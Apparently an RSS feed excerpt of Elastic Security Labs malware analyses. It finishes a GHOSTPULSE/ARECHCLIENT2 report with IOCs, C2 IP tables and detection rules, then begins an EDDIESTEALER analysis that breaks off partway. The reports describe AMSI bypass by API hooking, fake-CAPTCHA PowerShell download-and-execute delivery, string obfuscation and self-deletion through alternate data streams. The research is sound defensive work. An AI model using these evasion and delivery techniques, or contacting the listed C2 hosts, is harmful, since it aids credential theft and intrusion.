<p>In previous samples, we analyzed GHOSTPULSE, which had its configuration hardcoded directly in the binary. This sample, on the other hand, has all the necessary information required for the malware to function properly, stored in <code>Shonomteak.bxi,</code> including:</p>
<ul>
<li>Hashes for the DLL names and Windows APIs</li>
<li>IDAT tag: used to find the start of the encrypted data in the PNG file</li>
<li>IDAT string: Which is simply “IDAT”</li>
<li>Hashes of processes to scan for</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image4.png" alt="API fetching hashes stored in GHOSTPULSE configuration rather than hardcoded" title="API fetching hashes stored in GHOSTPULSE configuration rather than hardcoded" /></p>
<h3>Final thoughts on GHOSTPULSE</h3>
<p>GHOSTPULSE has seen multiple updates. The use of the IDAT header method to store the encrypted payload, rather than the new method we discovered in 2024, which utilizes pixels to store the payload, may indicate that the builder of this family maintained both options for compiling new samples.</p>
<p>Our configuration extractor performs payload extraction using both methods and can be used for mass analysis on samples. You can find the updated tool in our <a href="https://github.com/elastic/labs-releases/tree/main/tools/ghostpulse">labs-releases repository</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image17.png" alt="Payload extraction from the GHOSTPULSE sample" title="Payload extraction from the GHOSTPULSE sample" /></p>
<h2>ARECHCLIENT2</h2>
<p>In 2025, a notable increase in activity involving ARECHCLIENT2 (SectopRAT) was observed. This heavily obfuscated .NET remote access tool, initially <a href="https://www.gdatasoftware.com/blog/2019/11/35548-new-sectoprat-remote-access-malware-utilizes-second-desktop-to-control-browsers">identified in November 2019</a> and known for its information-stealing features, is now being deployed by GHOSTPULSE through the Clickfix social engineering technique. Our prior research documented the initial deployment of GHOSTPULSE utilizing ARECHCLIENT2 around 2023.</p>
<p>The payload deployed by GHOSTPULSE in a newly created process is an x86 native .NET loader, which in its turn loads ARECHCLIENT2.</p>
<p>The loader goes through 3 steps:</p>
<ul>
<li>Patching AMSI</li>
<li>Extracting and decrypting the payload</li>
<li>Loading the CLR, then reflectively loading ARECHCLIENT2</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image22.png" alt="Main entry of the .NET loader" title="Main entry of the .NET loader" /></p>
<p>Interestingly, its error handling for debugging purposes is still present, in the form of message boxes using the <code>MessageBoxA</code> API, for example, when failing to find the <code>.tls</code> section, an error message box with the string <code>&quot;D1&quot;</code> is displayed.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image18.png" alt="Debugging/error messages through a message box" title="Debugging/error messages through a message box" /></p>
<p>The following is a table of all the error messages and their description:</p>
<table>
<thead>
<tr>
<th align="center">Message</th>
<th align="center">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="center">F1</td>
<td align="center"><code>LoadLibraryExW</code> hooking failed</td>
</tr>
<tr>
<td align="center">F2</td>
<td align="center">AMSI patching failed</td>
</tr>
<tr>
<td align="center">D1</td>
<td align="center">Unable to find <code>.tls</code> section</td>
</tr>
<tr>
<td align="center">W2</td>
<td align="center">Failed to load CLR</td>
</tr>
</tbody>
</table>
<p>The malware sets up a hook on the <code>LoadLibraryExW</code> API. This hook waits for <code>amsi.dll</code> to be loaded, then sets another hook on <code>AmsiScanBuffer 0</code>, effectively bypassing AMSI.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image2.png" alt="Hooking LoadLibraryExW" title="Hooking LoadLibraryExW" /></p>
<p>After this, the loader fetches the pointer in memory to the <code>.tls</code> section by parsing the PE headers. The first <code>0x40</code> bytes of this section serve as the XOR key, and the rest of the bytes contain the encrypted ARECHCLIENT2 sample, which the loader then decrypts.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image7.png" alt="Payload decryption routine" title="Payload decryption routine" /></p>
<p>Finally, it loads the .NET Common Language Runtime (CLR) in memory with <a href="https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clrcreateinstance-function">CLRCreateInstance</a> Windows API before reflectively loading ARECHCLIENT2. The following is an <a href="https://gist.github.com/xpn/e95a62c6afcf06ede52568fcd8187cc2">example </a>of how it is performed.</p>
<p>ARECHCLIENT2 is a potent remote access trojan and infostealer, designed to target a broad spectrum of sensitive user data and system information. The malware's core objectives primarily focus on:</p>
<ul>
<li><strong>Credential and Financial Theft:</strong> ARECHCLIENT2 explicitly targets cryptocurrency wallets, browser-saved passwords, cookies, and autofill data. It also aims for credentials from FTP, VPN, Telegram, Discord, and Steam.</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image9.png" alt="DNSPY view of the StealerSettingConfigParce class" title="DNSPY view of the StealerSettingConfigParce class" /></p>
<ul>
<li><strong>System Profiling and Reconnaissance:</strong> ARECHCLIENT2 gathers extensive system details, including the operating system version, hardware information, IP address, machine name, and geolocation (city, country, and time zone).</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image3.png" alt="DNSPY view of ScanResult class" title="DNSPY view of ScanResult class" /></p>
<ul>
<li><strong>Command Execution:</strong> ARECHCLIENT2 receives and executes commands from its command-and-control (C2) server, granting attackers remote control over infected systems.</li>
</ul>
<p>The <strong>ARECHCLIENT2</strong> malware connects to its C2 <code>144.172.97[.]2,</code> which is hardcoded in the binary as an encrypted string, and also retrieves its secondary C2 (<code>143.110.230[.]167</code>) IP from a hardcoded pastebin link <code>https://pastebin[.]com/raw/Wg8DHh2x</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image21.png" alt="ARECHCLIENT2 configuration from DNSPY" title="ARECHCLIENT2 configuration from DNSPY" /></p>
<h2>Infrastructure analysis</h2>
<p>The malicious captcha page was hosted under two domains <code>clients.dealeronlinemarketing[.]com</code> and <code>clients.contology[.]com</code> under the URI <code>/captcha</code> and <code>/Client</code> pointing to the following IP address <code>50.57.243[.]90</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image10.png" alt="" /></p>
<p>We've identified that both entities are linked to a digital advertising agency with a long operational history. Further investigation reveals that the company has consistently utilized client subdomains to host various content, including PDFs and forms, for advertising purposes.</p>
<p>We assess that the attacker has likely compromised the server <code>50.57.243[.]90</code> and is leveraging it by exploiting the company's existing infrastructure and advertising reach to facilitate widespread malicious activity.</p>
<p>Further down the attack chain, analysis of the ARECHCLIENT2 C2 IPs (<code>143.110.230[.]167</code> and <code>144.172.97[.]2</code>) revealed additional campaign infrastructure. Both servers are hosted on different autonomous systems, AS14061 and AS14956.</p>
<p>Pivoting on a shared banner hash (<a href="https://x.com/ValidinLLC">@ValidinLLC</a>’s <code>HOST-BANNER_0_HASH</code>, which is the hash value of the web server response banners) revealed 120 unique servers across a range of autonomous systems over the last seven months. Of these 120, 19 have been previously labeled by various other vendors as “Sectop RAT&quot; (aka ARECHCLIENT2) as documented in the <a href="https://github.com/stamparm/maltrail/blob/master/trails/static/malware/sectoprat.txt">Maltrail repo</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image24.png" alt="ARECHCLIENT2 Host Banner Hash Pivot, courtesy @ValidinLLC" title="ARECHCLIENT2 Host Banner Hash Pivot, courtesy @ValidinLLC" /></p>
<p>Performing focused validations of the latest occurrences (first occurrence after June 1, 2025) against VirusTotal shows community members have previously labeled all 13 as Sectop RAT C2.</p>
<p>All these servers have similar configurations:</p>
<ul>
<li>Running Canonical Linux</li>
<li>SSH on <code>22</code></li>
<li>Unknown TCP on <code>443</code></li>
<li>Nginx HTTP on <code>8080</code>, and</li>
<li>HTTP on <code>9000</code> (C2 port)</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/image8.png" alt="ARECHCLIENT2 C2 Server Profile, courtesy @censysio" title="ARECHCLIENT2 C2 Server Profile, courtesy @censysio" /></p>
<p>The service on port <code>9000</code> has Windows server headers, whereas the SSH and NGINX HTTP services both specify Ubuntu as the operating system. This suggests a reverse proxy of the C2 to protect the actual server by maintaining disposable front-end redirectors.</p>
<p>ARECHCLIENT2 IOC:</p>
<ul>
<li><code>HOST-BANNER_0_HASH: 82cddf3a9bff315d8fc708e5f5f85f20</code></li>
</ul>
<p>This is an active campaign, and this infrastructure is being built and torn down at a high cadence over the last seven months. As of publication, the following C2 nodes are still active:</p>
<table>
<thead>
<tr>
<th>Value</th>
<th>First Seen</th>
<th>Last Seen</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>66.63.187.22</code></td>
<td>2025-06-15</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>45.94.47.164</code></td>
<td>2025-06-02</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>84.200.17.129</code></td>
<td>2025-06-04</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>82.117.255.225</code></td>
<td>2025-03-14</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>45.77.154.115</code></td>
<td>2025-06-05</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>144.172.94.120</code></td>
<td>2025-05-20</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>79.124.62.10</code></td>
<td>2025-05-15</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>82.117.242.178</code></td>
<td>2025-03-14</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>195.82.147.132</code></td>
<td>2025-04-10</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>62.60.247.154</code></td>
<td>2025-05-18</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>91.199.163.74</code></td>
<td>2025-04-03</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>172.86.72.81</code></td>
<td>2025-03-13</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>107.189.24.67</code></td>
<td>2025-06-02</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>143.110.230.167</code></td>
<td>2025-06-08</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>185.156.72.80</code></td>
<td>2025-05-15</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>85.158.110.179</code></td>
<td>2025-05-11</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>144.172.101.228</code></td>
<td>2025-05-13</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>192.124.178.244</code></td>
<td>2025-06-01</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>107.189.18.56</code></td>
<td>2025-04-27</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>194.87.29.62</code></td>
<td>2025-05-18</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>185.156.72.63</code></td>
<td>2025-06-12</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>193.149.176.31</code></td>
<td>2025-06-08</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>45.141.87.249</code></td>
<td>2025-06-12</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>176.126.163.56</code></td>
<td>2025-05-06</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>185.156.72.71</code></td>
<td>2025-05-15</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>91.184.242.37</code></td>
<td>2025-05-15</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>45.141.86.159</code></td>
<td>2025-05-15</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>67.220.72.124</code></td>
<td>2025-06-05</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>45.118.248.29</code></td>
<td>2025-01-28</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>172.105.148.233</code></td>
<td>2025-06-03</td>
<td>2025-06-10</td>
</tr>
<tr>
<td><code>194.26.27.10</code></td>
<td>2025-05-06</td>
<td>2025-06-10</td>
</tr>
<tr>
<td><code>45.141.87.212</code></td>
<td>2025-06-08</td>
<td>2025-06-08</td>
</tr>
<tr>
<td><code>45.141.86.149</code></td>
<td>2025-05-15</td>
<td>2025-06-08</td>
</tr>
<tr>
<td><code>172.235.190.176</code></td>
<td>2025-06-08</td>
<td>2025-06-08</td>
</tr>
<tr>
<td><code>45.141.86.82</code></td>
<td>2024-12-13</td>
<td>2025-06-08</td>
</tr>
<tr>
<td><code>45.141.87.7</code></td>
<td>2025-05-13</td>
<td>2025-06-06</td>
</tr>
<tr>
<td><code>185.125.50.140</code></td>
<td>2025-04-06</td>
<td>2025-06-03</td>
</tr>
</tbody>
</table>
<h2>Conclusion</h2>
<p>This multi-stage cyber campaign effectively leverages ClickFix social engineering for initial access, deploying the <strong>GHOSTPULSE</strong> loader to deliver an intermediate .NET loader, ultimately culminating in the memory-resident <strong>ARECHCLIENT2</strong> payload. This layered attack chain gathers extensive credentials, financial, and system data, while also granting attackers remote control capabilities over compromised machines.</p>
<h3>MITRE ATT&amp;CK</h3>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h4>Tactics</h4>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
</ul>
<h4>Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/">Phishing</a>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/002/">Spearphishing Link</a> <a href="https://attack.mitre.org/techniques/T1204/">User Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/002/">Malicious Link</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/002/">Malicious File</a></li>
</ul>
</li>
<li><a href="https://attack.mitre.org/techniques/T1059/">Command and Scripting Interpreter</a>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscation/Decoding</a></li>
</ul>
</li>
<li><a href="https://attack.mitre.org/techniques/T1073/">DLL Sideloading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/">User Interaction</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1539/">Steal Web Session Cookie</a></li>
</ul>
<h2>Detecting [malware]</h2>
<h3>Detection</h3>
<p>Elastic Defend detects this threat with the following <a href="https://github.com/elastic/protections-artifacts/tree/main/behavior">behavior protection rules</a>:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_command_shell_execution_via_windows_run.toml">Suspicious Command Shell Execution via Windows Run</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_dns_query_to_suspicious_top_level_domain.toml">DNS Query to Suspicious Top Level Domain</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_library_load_of_a_file_written_by_a_signed_binary_proxy.toml">Library Load of a File Written by a Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_connection_to_webservice_by_a_signed_binary_proxy.toml">Connection to WebService by a Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/discovery_potential_browser_information_discovery.toml">Potential Browser Information Discovery</a></li>
</ul>
<h4>YARA</h4>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/tree/main/yara/rules/Windows_Trojan_GhostPulse.yar">Windows_Trojan_GhostPulse</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/tree/main/yara/rules/Windows_Trojan_Arechclient2.yar">Windows_Trojan_Arechclient2 </a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>clients.dealeronlinemarketing[.]com</code></td>
<td>domain</td>
<td>Captcha subdomain</td>
<td></td>
</tr>
<tr>
<td><code>clients.contology[.]com</code></td>
<td>domain</td>
<td>Captcha subdomain</td>
<td></td>
</tr>
<tr>
<td><code>koonenmagaziner[.]click</code></td>
<td>domain</td>
<td></td>
<td></td>
</tr>
<tr>
<td><code>50.57.243[.]90</code></td>
<td>ipv4-addr</td>
<td></td>
<td><code>clients.dealeronlinemarketing[.]com</code> &amp; <code>clients.contology[.]com</code> IP address</td>
</tr>
<tr>
<td><code>144.172.97[.]2</code></td>
<td>ipv4-addr</td>
<td></td>
<td>ARECHCLIENT2 C&amp;C server</td>
</tr>
<tr>
<td><code>143.110.230[.]167</code></td>
<td>ipv4-addr</td>
<td></td>
<td>ARECHCLIENT2 C&amp;C server</td>
</tr>
<tr>
<td><code>pastebin[.]com/raw/Wg8DHh2x</code></td>
<td>ipv4-addr</td>
<td></td>
<td>Contains ARECHCLIENT2 C&amp;C server IP</td>
</tr>
<tr>
<td><code>2ec47cbe6d03e6bdcccc63c936d1c8310c261755ae5485295fecac4836d7e56a</code></td>
<td>SHA-256</td>
<td><code>DivXDownloadManager.dll</code></td>
<td>GHOSTPULSE</td>
</tr>
<tr>
<td><code>a8ba1e14249cdd9d806ef2d56bedd5fb09de920b6f78082d1af3634f4c136b90</code></td>
<td>SHA-256</td>
<td><code>Heeschamjiet.rc</code></td>
<td>PNG GHOSTPULSE</td>
</tr>
<tr>
<td><code>f92b491d63bb77ed3b4c7741c8c15bdb7c44409f1f850c08dce170f5c8712d55</code></td>
<td>SHA-256</td>
<td></td>
<td>DOTNET LOADER</td>
</tr>
<tr>
<td><code>4dc5ba5014628ad0c85f6e8903de4dd3b49fed65796978988df8c128ba7e7de9</code></td>
<td>SHA-256</td>
<td></td>
<td>ARECHCLIENT2</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://x.com/SI_FalconTeam/status/1915790796948643929">https://x.com/SI_FalconTeam/status/1915790796948643929</a></li>
<li><a href="https://www.zscaler.com/blogs/security-research/analyzing-new-hijackloader-evasion-tactics">https://www.zscaler.com/blogs/security-research/analyzing-new-hijackloader-evasion-tactics</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/a-wretch-client/a-wretch-client.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Chasing Eddies: New Rust-based InfoStealer used in CAPTCHA campaigns]]></title>
            <link>https://www.elastic.co/pt/security-labs/eddiestealer</link>
            <guid>eddiestealer</guid>
            <pubDate>Fri, 30 May 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs walks through EDDIESTEALER, a lightweight commodity infostealer used in emerging CAPTCHA-based campaigns.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>Elastic Security Labs has uncovered a novel Rust-based infostealer distributed via Fake CAPTCHA campaigns. This malware is hosted on multiple adversary-controlled web properties. This campaign leverages deceptive CAPTCHA verification pages that trick users into executing a malicious PowerShell script, which ultimately deploys the infostealer, harvesting sensitive data such as credentials, browser information, and cryptocurrency wallet details. We are calling this malware EDDIESTEALER.</p>
<p>This adoption of Rust in malware development reflects a growing trend among threat actors seeking to leverage modern language features for enhanced stealth, stability, and resilience against traditional analysis workflows and threat detection engines. A seemingly simple infostealer written in Rust often requires more dedicated analysis efforts compared to its C/C++ counterpart, owing to factors such as zero-cost abstractions, Rust’s type system, compiler optimizations, and inherent difficulties in analyzing memory-safe binaries.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image9.png" alt="EDDIESTEALER’s execution chain" title="EDDIESTEALER’s execution chain" /></p>
<h2>Key takeaways</h2>
<ul>
<li>Fake CAPTCHA campaign loads EDDIESTEALER</li>
<li>EDDIESTEALER is a newly discovered Rust infostealer targeting Windows hosts</li>
<li>EDDIESTEALER receives a task list from the C2 server identifying data to target</li>
</ul>
<h2>Intial access</h2>
<h3>Overview</h3>
<p>Fake CAPTCHAs are malicious constructs that replicate the appearance and functionality of legitimate CAPTCHA systems, which are used to distinguish between human users and automated bots. Unlike their legitimate counterparts, fake CAPTCHAs serve as gateways for malware, leveraging social engineering to deceive users. They often appear as prompts like &quot;Verify you are a human&quot; or &quot;I'm not a robot,&quot; blending seamlessly into compromised websites or phishing campaigns. We have also encountered a similar campaign distributing <a href="https://www.elastic.co/pt/security-labs/tricks-and-treats">GHOSTPULSE</a> in late 2024.</p>
<p>From our telemetry analysis leading up to the delivery of EDDIESTEALER, the initial vector was a compromised website deploying an obfuscated React-based JavaScript payload that displays a fake “I'm not a robot” verification screen.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image36.png" alt="Fake CAPTCHA GUI" title="Fake CAPTCHA GUI" /></p>
<p>Mimicking Google's reCAPTCHA verification interface, the malware uses the <code>document.execCommand(&quot;copy&quot;)</code> method to copy a PowerShell command into the user’s clipboard, next, it instructs the user to press Windows + R (to open the Windows run dialog box), then Ctrl + V to paste the clipboard contents, and finally Enter to execute the malicious PowerShell command.</p>
<p>This command silently downloads a second-stage payload (<code>gverify.js</code>) from the attacker-controlled domain <code>hxxps://llll.fit/version/</code> and saves it to the user’s <code>Downloads</code> folder.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image18.png" alt="Copy PowerShell command to clipboard" title="Copy PowerShell command to clipboard" /></p>
<p>Finally, the malware executes <code>gverify.js</code> using <code>cscript</code> in a hidden window.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image35.png" alt="PowerShell command to download and execute the second script" title="PowerShell command to download and execute the second script" /></p>
<p><code>gverify.js</code> is another obfuscated JavaScript payload that can be deobfuscated using open-source <a href="https://github.com/ben-sb/javascript-deobfuscator">tools</a>. Its functionality is fairly simple: fetching an executable (EDDIESTEALER) from <code>hxxps://llll.fit/io</code> and saving the file under the user’s <code>Downloads</code> folder with a pseudorandom 12-character file name.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image2.png" alt="PowerShell script to download and execute EDDIESTEALER" title="PowerShell script to download and execute EDDIESTEALER" /></p>
<h2>EDDIESTEALER</h2>
<h3>Overview</h3>
<p>EDDIESTEALER is a novel Rust-based commodity infostealer. The majority of strings that give away its malicious intent are encrypted. The malware lacks robust anti-sandbox/VM protections against behavioral fingerprinting. However, newer variants suggest that the anti-sandbox/VM checks might be occurring on the server side. With relatively straightforward capabilities, it receives a task list from the C2 server as part of its configuration to target specific data and can self-delete after execution if specified.</p>
<h3>Stripped Symbols</h3>
<p>EDDIESTEALER samples featured stripped function symbols, likely using Rust’s default compilation option, requiring symbol restoration before static analysis. We used &lt;code&gt;<a href="https://github.com/N0fix/rustbinsign">rustbinsign</a>&lt;/code&gt;, which generates signatures for Rust standard libraries and crates based on specific Rust/compiler/dependency versions. While <code>rustbinsign</code> only detected &lt;code&gt;<a href="https://docs.rs/hashbrown/latest/hashbrown/">hashbrown</a>&lt;/code&gt; and &lt;code&gt;<a href="https://docs.rs/rustc-demangle/latest/rustc_demangle/">rustc-demangle</a>&lt;/code&gt;, suggesting few external crates being used, it failed to identify crates such as &lt;code&gt;<a href="https://docs.rs/tinyjson/latest/tinyjson/">tinyjson</a>&lt;/code&gt; and &lt;code&gt;<a href="https://docs.rs/tokio-tungstenite/latest/tokio_tungstenite/">tungstenite</a>&lt;/code&gt; in newer variants. This occurred due to the lack of clear string artifacts. It is still possible to manually identify crates by finding unique strings and searching for the repository on GitHub, then download, compile and build signatures for them using the <code>download_sign</code> mode. It is slightly cumbersome if we don’t know the exact version of the crate being used. However, restoring the standard library and runtime symbols is sufficient to advance the static analysis process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image40.png" alt="rustbinsign “info” output" title="rustbinsign “info” output" /></p>
<h3>String Obfuscation</h3>
<p>EDDIESTEALER encrypts most strings via a simple XOR cipher. Decryption involves two stages: first, the XOR key is derived by calling one of several key derivation functions; then, the decryption is performed inline within the function that uses the string.</p>
<p>The following example illustrates this, where <code>sub_140020fd0</code> is the key derivation function, and <code>data_14005ada8</code> is the address of the encrypted blob.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image17.png" alt="Example decryption operation" title="Example decryption operation" /></p>
<p>Each decryption routine utilizes its own distinct key derivation function. These functions consistently accept two arguments: an address within the binary and a 4-byte constant value. Some basic operations are then performed on these arguments to calculate the address where the XOR key resides.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image39.png" alt="Key derivation functions" title="Key derivation functions" /></p>
<p>Binary Ninja has a handy feature called &lt;code&gt;<a href="https://docs.binary.ninja/dev/uidf.html">User-Informed Data Flow</a>&lt;/code&gt; (UIDF), which we can use to set the variables to known values to trigger a constant propagation analysis and simplify the expressions. Otherwise, a CPU emulator like <a href="https://www.unicorn-engine.org/">Unicorn</a> paired with a scriptable binary analysis tool can also be useful for batch analysis.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image11.png" alt="Binary Ninja’s UIDF applied" title="Binary Ninja’s UIDF applied" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image42.png" alt="Batch processing to decrypt all strings" title="Batch processing to decrypt all strings" /></p>
<p>There is a general pattern for thread-safe, lazy initialization of shared resources, such as encrypted strings for module names, C2 domain and port, the sample’s unique identifier - that are decrypted only once but referenced many times during runtime. Each specific getter function checks a status flag for its resource; if uninitialized, it calls a shared, low-level synchronization function. This synchronization routine uses atomic operations and OS wait primitives (<code>WaitOnAddress</code>/<code>WakeByAddressAll</code>) to ensure only one thread executes the actual initialization logic, which is invoked indirectly via a function pointer in the vtable of a <code>dyn Trait</code> object.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image34.png" alt="Decryption routine abstracted through dyn Trait object and lazy init of shared resource" title="Decryption routine abstracted through dyn Trait object and lazy init of shared resource" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image12.png" alt="Example Trait object vtable" title="Example Trait object vtable" /></p>
<h3>API Obfuscation</h3>
<p>EDDIESTEALER utilizes a custom WinAPI lookup mechanism for most API calls. It begins by decrypting the names of the target module and function. Before attempting resolution, it checks a locally maintained hashtable to see if the function name and address have already been resolved. If not found, it dynamically loads the required module using a custom <code>LoadLibrary</code> wrapper, into the process’s address space, and invokes a <a href="https://github.com/cocomelonc/2023-04-16-malware-av-evasion-16/blob/ba05e209e079c2e339c67797b5a563a2e4dc0106/hack.cpp#L75">well-known implementation of GetProcAddress</a> to retrieve the address of the exported function. The API name and address are then inserted into the hashtable, optimizing future lookups.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image31.png" alt="Core functions handling dynamic imports and API resolutions" title="Core functions handling dynamic imports and API resolutions" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image23.png" alt="Custom GetProcAddress implementation" title="Custom GetProcAddress implementation" /></p>
<h3>Mutex Creation</h3>
<p>EDDIESTEALER begins by creating a mutex to ensure that only one instance of the malware runs at any given time. The mutex name is a decrypted UUID string <code>431e2e0e-c87b-45ac-9fdb-26b7e24f0d39</code> (unique per sample), which is later referenced once more during its initial contact with the C2 server.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image7.png" alt="Retrieve the UUID and create a mutex with it" title="Retrieve the UUID and create a mutex with it" /></p>
<h3>Sandbox Detection</h3>
<p>EDDIESTEALER performs a quick check to assess whether the total amount of physical memory is above ~4.0 GB as a weak sandbox detection mechanism. If the check fails, it deletes itself from disk.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image27.png" alt="Memory check" title="Memory check" /></p>
<h3>Self-Deletion</h3>
<p>Based on a similar <a href="https://github.com/LloydLabs/delete-self-poc/tree/main">self-deletion technique</a> observed in <a href="https://www.elastic.co/pt/security-labs/spring-cleaning-with-latrodectus">LATRODECTUS</a>, EDDIESTEALER is capable of deleting itself through NTFS Alternate Data Streams renaming, to bypass file locks.</p>
<p>The malware uses <code>GetModuleFileName</code> to obtain the full path of its executable and <code>CreateFileW</code> (wrapped in <code>jy::ds::OpenHandle</code>) to open a handle to its executable file with the appropriate access rights. Then, a <code>FILE_RENAME_INFO</code> structure with a new stream name is passed into <code>SetFileInformationByHandle</code> to rename the default stream <code>$DATA</code> to <code>:metadata</code>. The file handle is closed and reopened, this time using <code>SetFileInformationByHandle</code> on the handle with the <code>FILE_DISPOSITION_INFO.DeleteFile</code> flag set to <code>TRUE</code> to enable a &quot;delete on close handle&quot; flag.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image6.png" alt="Self-deletion through ADS renaming" title="Self-deletion through ADS renaming" /></p>
<h3>Additional Configuration Request</h3>
